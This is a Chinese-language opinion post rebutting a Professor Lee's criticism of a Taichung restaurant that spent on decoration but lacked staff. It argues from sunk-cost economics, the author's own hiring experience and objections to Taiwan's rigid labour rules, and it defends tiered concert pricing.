國家音樂廳同一場音樂演出好壞座位票價可差異達5、6倍以上,這在全世界多數表演活動都有一樣的票價安排,背後經濟學原理也是一樣的 — 部分榨取消費者盈餘。試問李教授是不是也要抵制這種普世現象呢?

附註 — 關於李教授批評某台中餐廳有錢裝潢沒錢付薪水一文如下:

很明顯論者壓根就沒有開店的經驗,以為人力是隨時請隨時有,而且來就能上線工作毋須教育訓練也不用過濾的。
我自己曾經為了在信義區開百貨公司專櫃,104等求才管道花了幾萬元刊登,2個月內面試將近幾十位求職者,超過9成根本不能用。能用的一成,你還得跟大品牌競爭 — 人力通常更願意去知名品牌大公司工作,無名中小企業甚至要開出比大公司更高的薪水才請得到或留得住人。可是增加的人力成本很可能也吃光獲利。

請人哪那麼容易?

同時這位大教授也沒有經濟學成本的觀念(特別是上頭成本與營運成本),才會說出「花大錢裝潢然後不喜歡花一點小錢請人」這種話。

裝潢費用屬於上頭成本,是下注之前對於市場判斷與定位的成本,一旦下了注要開檔,這個成本對於經營者的行為在經濟學上已經失去任何影響,因為這已是歷史成本,而歷史成本不是成本。經濟學看的機會成本永遠是指「對未來選擇的最高代價」。

裝潢後如果人力無法支應,開門營業帶來的收益不足以cover日常營運成本,甚至因人力素質未達標準可能砸了招牌商譽的風險下,理性經濟決策當然是暫停營業!

我不認為這篇新聞中的苦主全是因為一例一休而出現人力問題,我推測他們應該本來人力就很吃緊了,可是越趨僵化的台灣勞動法規使得經營難度大大提高。
開了店可用人力資源無法完美供應,在百貨公司業界是早就存在這種狀況。樓管一般會在新櫃開張但人力不足情形下幫忙調度借人,這也是樓管的工作權責範圍之一。反過來想,如果此類狀況不是常發生,那百貨公司也不會設置樓管負責這部份的調度工作。

也就是說,真實世界中此類狀況遠比這些象牙塔裡的學者所知來得實際而頻繁。從經濟制度分析角度來看,缺乏彈性的勞動法規的確會加劇與惡化這種困境。

台灣很可悲的,是參與政策決定的環境中竟充斥這類毫無經營經驗的人,還說話最大聲